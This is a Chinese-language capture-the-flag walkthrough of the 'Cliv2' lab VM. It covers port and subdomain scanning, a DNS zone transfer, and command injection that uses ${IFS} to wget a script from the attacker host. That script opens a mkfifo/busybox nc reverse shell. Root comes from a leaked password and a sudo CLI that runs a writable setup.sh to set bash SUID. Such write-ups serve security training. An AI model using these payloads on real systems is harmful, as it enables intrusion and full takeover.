<h1>群U靶机 - Cliv2</h1>
<h2>Recon</h2>
<p>端口扫描</p>
<pre><code class="hljs language-scheme">➜  Test nmap -sT -min-rate 10000 -p- 192.168.56.100
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-31 18:37 CST
Nmap scan report for 192.168.56.100
Host is up (0.00018s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http
MAC Address: 08:00:27:EB:7B:F5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
</code></pre>
<pre><code class="hljs language-scheme">
➜  Test nmap -sT -A -p 22,80,53 192.168.56.100     
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-31 18:38 CST
Nmap scan report for cliv2.dsz (192.168.56.100)
Host is up (0.00042s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
53/tcp open  domain  ISC BIND 9.16.50 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.16.50-Debian
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: CLIv2 Main
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:EB:7B:F5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.42 ms cliv2.dsz (192.168.56.100)
</code></pre>
<p>子域名爆破</p>
<pre><code class="hljs language-scheme">➜  Test ffuf -u 'http://cliv2.dsz/' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'host: FUZZ.cliv2.dsz' --fs=3669

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cliv2.dsz/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.cliv2.dsz
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 3669
________________________________________________

client                  [Status: 200, Size: 873, Words: 147, Lines: 42, Duration: 0ms]
dev                     [Status: 200, Size: 654, Words: 113, Lines: 34, Duration: 315ms]
</code></pre>
<h2>DNS 区域传输漏洞</h2>
<p>看到 <code>dev</code> 就很兴奋</p>
<p>点进去后看到 <strong><code>AXFR</code></strong></p>
<p><img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA%20-%20Cliv2/image.png" alt="image.png"></p>
<p>我一搜，能找到：</p>
<blockquote>
<p><strong>DNS 区域传输 (<code>AXFR</code>)</strong></p>
<p>使用 AXFR 协议的 DNS 区域传输是跨 DNS 服务器复制 DNS 记录的最简单机制。为避免在多个 DNS 服务器上编辑信息的需要，您可以在一台服务器上编辑信息并使用 AXFR 将信息复制到其他服务器。但是，如果您不保护您的服务器，恶意方可能会使用 AXFR 来获取有关您所有主机的信息。</p>
</blockquote>
<p>那么它肯定没有保护</p>
<pre><code class="hljs language-scheme">➜  Test dig axfr @192.168.56.100  cliv2.dsz 

; &#x3C;&#x3C;>> DiG 9.20.9-1-Debian &#x3C;&#x3C;>> axfr @192.168.56.100 cliv2.dsz
; (1 server found)
;; global options: +cmd
cliv2.dsz.              86400   IN      SOA     ns1.cliv2.dsz. admin.cliv2.dsz. 2023072601 3600 900 604800 86400
cliv2.dsz.              86400   IN      A       127.0.0.1
cliv2.dsz.              86400   IN      NS      ns1.dsz.
3170a7.cliv2.dsz.       86400   IN      A       127.0.0.1
client.cliv2.dsz.       86400   IN      A       127.0.0.1
dev.cliv2.dsz.          86400   IN      A       127.0.0.1
ns1.cliv2.dsz.          86400   IN      A       127.0.0.1
cliv2.dsz.              86400   IN      SOA     ns1.cliv2.dsz. admin.cliv2.dsz. 2023072601 3600 900 604800 86400
;; Query time: 0 msec
;; SERVER: 192.168.56.100#53(192.168.56.100) (TCP)
;; WHEN: Thu Jul 31 18:58:51 CST 2025
;; XFR size: 8 records (messages 1, bytes 264)
</code></pre>
<h2>反弹 shell</h2>
<p>有命令执行功能</p>
<p><img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA%20-%20Cliv2/image1.png" alt="image.png"></p>
<p>不能有空格限制：不允许使用空格或连字符。最大长度：64 个字符。</p>
<p>在 <code>Kali</code> 准备恶意文件，并开启 <code>HTTP</code> 服务器</p>
<pre><code class="hljs language-scheme">➜  Test cat v.sh 
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&#x26;1|busybox nc 192.168.56.5 1234 >/tmp/f
</code></pre>
<p>通过两步来拿到 <code>shell</code></p>
<pre><code class="hljs language-scheme">cmd=cd${IFS}/tmp;busybox${IFS}wget${IFS}192.168.56.5/v.sh;ls${IFS}/tmp
cmd=cd${IFS}/tmp;chmod${IFS}777${IFS}v.sh;./v.sh
</code></pre>
<p><img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA%20-%20Cliv2/image2.png" alt="image.png"></p>
<h2>权限提升</h2>
<p><code>Linpeas.sh</code> 发现 <code>bitc0de</code> 家目录中有一个 <code>…</code></p>
<pre><code class="hljs language-scheme">╔══════════╣ Searching root files in home dirs (limit 30)
/home/
/home/bitc0de/.bash_history
/home/bitc0de/...
/home/bitc0de/user.txt
/root/
/var/www
/var/www/html
/var/www/html/index.html
/var/www/cliv2.dsz
/var/www/cliv2.dsz/index.php
/var/www/3170a7.cliv2.dsz
/var/www/3170a7.cliv2.dsz/index.php
/var/www/client.cliv2.dsz
/var/www/client.cliv2.dsz/index.php
/var/www/dev.cliv2.dsz
/var/www/dev.cliv2.dsz/index.php
</code></pre>
<p>读取拿到密码</p>
<pre><code class="hljs language-scheme">www-data@Cliv2:/home/bitc0de$ cat ...
MabEwReOmcpG!123
</code></pre>
<p>切换到 <code>bitc0de</code> 并查看 <code>sudo</code> 权限</p>
<pre><code class="hljs language-scheme">
bitc0de@Cliv2:~$ sudo -l
Matching Defaults entries for bitc0de on Cliv2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bitc0de may run the following commands on Cliv2:
    (ALL) NOPASSWD: /usr/local/bin/hmvcli
</code></pre>
<p><code>hmvcli</code>是通过<code>python</code>写的</p>
<p>分析后发现其中有一部分代码有问题，只要参数是<code>config</code> 就会运行 <code>setup.sh</code></p>
<pre><code class="hljs language-scheme">if args['config']:                              
    print("[*] Ejecutando script de configuración...")
    subprocess.run(["bash", "setup.sh"])  
    sys.exit(0) 
</code></pre>
<p>梭哈</p>
<pre><code class="hljs language-scheme">echo "chmod +s /bin/bash" > setup.sh
chmod +x setup.sh
sudo hmvcli --config
</code></pre>
<p><img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA%20-%20Cliv2/image3.png" alt="image.png"></p>
<h2>总结</h2>
<p>Q裙：660930334</p>

群U靶机 Cliv2 Recon 端口扫描 子域名爆破 DNS 区域传输漏洞 看到 dev 就很兴奋 点进去后看到 AXFR 我一搜，能找到： DNS 区域传输 (AXFR) 使用 AXFR 协议的 DNS 区域传输是跨 DNS 服务器复制 DNS 记录的最简单机制。为避免在多个 DNS 服务器上编...

群U靶机 - Cliv2

TheHackersLabs - THLPWN

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